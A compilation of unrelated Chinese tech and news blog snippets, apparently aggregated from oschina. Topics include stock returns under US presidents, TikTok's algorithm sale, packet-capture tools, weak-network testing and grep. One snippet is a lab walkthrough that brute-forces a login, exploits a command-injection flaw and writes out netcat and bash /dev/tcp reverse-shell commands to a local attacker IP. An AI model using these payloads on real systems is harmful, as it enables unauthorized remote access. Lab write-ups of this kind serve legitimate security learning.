Charles

　　 　　 大数据文摘出品 　　 来源：forbes 　　 编译：千雪、夏雅薇 　　当地时间9月3日起， 美股暴跌 ，以科技股为主的纳斯达克综合指数下跌近5%，道指大跌808点。 　　股民在寻找股市动荡原因时，一般会先跟政治环境联系起来，而特朗普也因此为这段时间以来的股市背了很多次“锅”。 　　那么，美股大跌真的跟特朗普有主要关系吗？ 　　福布斯的员工Sergei Klebnikov和Halah Touryalai研究了自杜鲁门以来历任美国总统任内股市的表现，结果可能会让你大吃一惊。 　　历届总统的表现 　　哪位总统的股票回报率最高？到目前为止，民主党占主导地位。 　　 　　西格尔在1994年出版了《Stocks For The Long Run》一书，他认为华尔街对政治的痴迷大多是错位的：“牛市和熊市来来去去，真正有影响的是商业周期，而不是哪个总统在职。”从某些方面来说，当前的环境具有以下特点：2001年后小布什（George W.Bush）面临的生存威胁（用流行病取代恐怖主义）、困扰约翰逊和尼克松政府的内乱，以及1980年代罗纳德里根（Ronald Reagan）与日本的贸易战。 　　为了更好地研究总统的行为与股市走势之间的关系， 《福布斯》分析了自哈里杜鲁门(Harry Truman)以来总统在任时，股市包括股息的表现。 根据美国国家经济研究局(NBER)的数据

西雅图IT圈：seattleit 【今日作者】宇直 宇宙第一直男 “ 南华早报援引一位知情人士透露，TikTok的母公司字节跳动已经决定将不会在任何买卖中出售其核心算法。 字节跳动将不会把TikTok的算法卖给任何公司，但是美国的买家可以开发一套全新的算法 - 这是出售其美国资产的前提。 美国福克斯电视台的记者 Charles Gasparino 在周日发推说，“任何与TikTok有关的出售都将牵扯到美国和中国政府的交涉” “ 有美国分析专家认为，如果购买不包括推荐算法的TikTok，任何购买的美国买家，包括微软、甲骨文或者是沃尔玛等巨头，都很难复制这款短视频应用的魔力。TikTok的推荐算法远远强于竞争对手，这其中的部分原因是该公司可以获得大量培训数据。 “我个人认为，如果没有算法，TikTok就不会是TikTok，”昆士兰科技大学(Queensland University of Technology)研究TikTok的研究员Bondy Valdovinos Kaye说。 西雅图IT圈原创 仅有不到7%的公众号, 还在坚持原创 如果喜欢, 请分享我们的文章 每天加点料 投稿，转载，商业合作，请联系E-mail: SeattleITquan@gmail.com 来源： oschina 链接： https://my.oschina.net/u/4366887/blog

eNSP模拟器路由器无法正常启动一直显示“#”——问题解决方法 参考文章： （1）eNSP模拟器路由器无法正常启动一直显示“#”——问题解决方法 （2）https://www.cnblogs.com/Charles-Yuan/p/11068940.html 备忘一下。 来源： oschina 链接： https://my.oschina.net/stackoom/blog/4608550

搞IT技术的同行，相信没有几个人是不会抓包这项技能的（如果很不幸你中枪了，那希望这篇文章给你一些动力），市面上的抓包工具也有很多，常用的有： Charles 、 Fiddler 、 Burpsuite 、 WireShark 、 mitmproxy 如果从市场使用率来讲，特别是对于Windows用户来说， Fiddler 抓包使用人群占比最多。 由于 Fiddler 基于.NET开发，对于像我这类Mac系统的资深用户来讲，显然不太合适，为了解决Mac下使用Fiddler的问题，早在2016年官方出过一款名为 Fiddler for OS X Beta 1 尝试来解决这类问题, 但这款工具必须通过Mono才可以在Mac上使用。并且在Mac上使用是非常不稳定, 有非常多的问题。 所幸的是，在2018年，官方又进一步推出了一款名为： Fiddler Everywhere 的抓包工具，今天就给大家聊一聊这款工具。 虽然Mac下GUI抓包工具，首推Charles，但多掌握一项抓包工具，对自己肯定是没有坏处。 1. Fiddler Everywhere 介绍 从名称上来看，就大概能猜出它的寓意，官方也通过一段话，解释了 Fiddler Everywhere 的作用: Fiddler Everywhere is a web debugging proxy for any browser, any

下载 ，安装（vmware直接导入文件），桥接 kali开始nmap扫描 nmap -sP 192.168.123.0/24 找到目标ip：192.168.123.9 浏览器访问，就一个登陆页面 nmap扫描端口；只有22和80 可以确定是linux了（废话） 再dirsearch扫描目录 也没有有用的信息 先试试注入，手注和sqlmap都没找出什么来 burp抓包跑字典暴力破解再试试看 暴力破解出了结果 admin happy 登陆后的页面， 只有一个command，点进去，有3个命令供执行 ls -l 显示目录内容列表 du -h 显示每个文件和目录的磁盘使用情况 df -h 显示磁盘相关信息 试试抓包，执行命令作为明文参数，修改成别的，发现也可以执行（这里我是换成了dir） 验证其可行性后，试试看别的命令，cat command.php 可以看到执行命令的是这个shell_exec()函数 用户是www-data，权限组在33 没有写文件的权限 直接 反弹shell 看上去像是把命令里的&符当成分隔符了。编码一下就解决了 bash+-i+>%26%2Fdev%2Ftcp%2F192.168.123.42%2F1234+0>%261 然鹅还是反弹不出来，看不到报错，也不知道是什么的原因 换nc反弹 nc 192.168.123.41 1234 -e /bin/bash 反弹成功

什么是弱网测试? 由于处在移动互联网盛行的时代，网络形态除了有线连接外，还有2G/3G/4G/Wifi/5G等多种手机网络连接方式。首先额外补充一些5G的知识;2分钟了解什么是5G。 在前不久结束的 MWC 2018 上，5G 成了全球的一个热门话题，而国内对 5G 的关注度也是异常地高。实际上，与 2G、3G、4G 相比，我国在 5G 方面的布局并不晚于其他国家;而且中国三大运营商在中国 5G 发展中的角色至关重要，因此它们在 5G 上的节奏基本上决定了整个中国 5G 的迈进步伐。 身为一个合格的测试人员，需要额外关注的场景就远不止断网、网络故障等情况了。还要对于弱网的数据定义，不同的应用所界定的含义是不一样且不清晰的，不仅要考虑各类型网络最低速率，还要结合业务场景和应用类型去划分。按照移动的特性来说，一般应用低于2G速率的都属于弱网，也可以将3G划分为弱网。除此之外，弱信号的Wifi通常也会被纳入到弱网测试场景中。 那么为什么要进行弱网测试? 确实有这种情况，就拿一款适配于低资源环境的医疗IT系统项目来说，而它的使用场景主要是在一些2G网络环境下，3G网都很少，并且稳定性也是比较差。因此，这款AP应用要想完成交付，就一定要在弱网状态甚至在没有网络状态下运行。 如何做弱网测试? 首先，只要搭建出来弱网环境，模拟一个弱网环境即可。可以通过软硬件方式两种

app专项测试：app弱网测试（测试工具） 除了常用的 fiddler，charles 可以模拟弱网，还有硬件工具 弱网仪 HoloWAN 也可以模拟弱网 使用弱网仪有以下优点： 1、即插即用，无需调试和复杂的部署，它就像一根网线一样透明的存在，可以串联进任何网络环境中，精确和灵活地控制带宽、丢包、时延和抖动。 2、弱网仪已经经过严格的测试和调校，可以确保在任何情况下不会性能不足，不会造成预料之外的丢包，可以长时间持续稳定工作，可以保证测试结果具有可靠性和参考价值。 3、弱网仪可以支持多人同时使用，一台弱网仪可以同时模拟多个弱网场景，可以同时支持多个测试人员测试不同的手机终端。 4、弱网仪可以很方便的调用开放的Http API，轻松实现测试自动化，在进行自动化测试的时候，不影响在其他场景下进行测试的同事。 原文地址 https://www.zhihu.com/question/296186718 来源： oschina 链接： https://my.oschina.net/u/4400622/blog/4290387

简介 grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹配的行打印出来。 Unix的grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟grep有很小不同。egrep是grep的扩展，支持更多的re元字符， fgrep就是fixed grep或fast grep，它们把所有的字母都看作单词，也就是说，正则表达式中的元字符表示回其自身的字面意义，不再特殊。linux使用GNU版本的grep。它功能更强，可以通过-G、-E、-F命令行选项来使用egrep和fgrep的功能。 grep常用用法 [root@www ~]# grep [-acinv] [--color=auto] '搜寻字符串' filename 选项与参数：-a ：将 binary 文件以 text 文件的方式搜寻数据-c ：计算找到 '搜寻字符串' 的次数-i ：忽略大小写的不同，所以大小写视为相同-n ：顺便输出行号-v ：反向选择，亦即显示出没有 '搜寻字符串' 内容的那一行！--color=auto ：可以将找到的关键词部分加上颜色的显示喔！ 将/etc/passwd，有出现 root 的行取出来 # grep

在PC端，大家用钉钉的时候，不知道有没有遇到这样的事情。 点击表情->自定义表情 要不就是上图加载几个表情包出来，要不就是给你看个白板。 先去看看钉钉的资源占用情况 好家伙，不愧是资源大户，比我吃饭的家伙占用内存还多 10个项目比不上钉钉一个聊天工具的占用内存 差点跑题了，内存就不说了，不是本篇的重点 下面聊聊重点，也就是表情包的问题 我曾经一度以为是自己电脑配置原因 然后问问其他同事，i5-i9都无法避免，无论你是8G还是32G，都是表情白板给你看 然后我想了想，莫非不是先加载的本地缓存？然后才异步校验更新？ 接下来，掏出了我许久未使用的抓包工具：Charles 谷歌了一下Charles使用教程，打开监听 筛选条件敲上ding 然后，点击钉钉的表情 意料之中的事情发生了 每次点击，都会去请求cdn地址去下载服务器上的图片 然后默默的看了点击时，钉钉的瞬时网络速度 在网络情况好的时候，还是加载比较快的，大概3-5秒 但是，办公环境，一般网速很迷，有时候就是卡顿卡顿的 那么我大概算了一下，假如我每天使用钉钉10个小时 平均每10分钟发一个表情包，600分钟就是60个表情包 网速慢的时候，基本上需要等10秒以上，平均按照10秒算，一天下来等待时间就是600秒 这个评估时间其实是短的，实际的时间可能还不止 解决方案很简单，就是做一个PC端的缓存就行了 至于表情包更新和同步

app专项测试：app弱网测试 弱网测试背景 用户体验 APP使用过程中，弱网的高延迟和高丢包，在实时性要求非常高的场景，容易伤害用户体验 非正常情况下，Bug出现几率会增加 在解决日常支持需求中，经常出现一些用户反馈的Bug无法复现，有很大部分是因为用户的网络不稳定导致，导致出现一些意想不到的BUG APP异常 延迟和丢包 crash/崩溃 ：应用在使用是会有对话框提示(应用已经停止运行) 闪退： 在使用应用时，无征兆退出返回桌面(native层体现，不易抓取Log) ANR： 应用无响应 网络测试要点 弱网测试关注指标 丢包 丢包是最常见的问题。在TCP协议中，需要不停的发送请求，来确认连接状态，一旦发生丢包，就需要重传。此时需要建好擦产品的处理机制，给予什么提示，如果未响应该如何处理。 延时 延时也是最常见的问题。由于网络环境太差，产生了网络波动，导致数据包在传输的时候出现抖动。可能出现请求超时的现象。此时也需要给予提示，或有其他处理方式。 弱网测试工具 fiddler：模拟网络延时场景 Network Emulator Toolkit：模拟网络丢包场景 fiddler模拟网络延时场景 第一种:启用模拟低网速环境路径【 Rules/Performances/Simulate Modem Speeds】，启用后你会明显感觉到网速相对之前变慢了许多，尤其是在资源文件比较大的时候。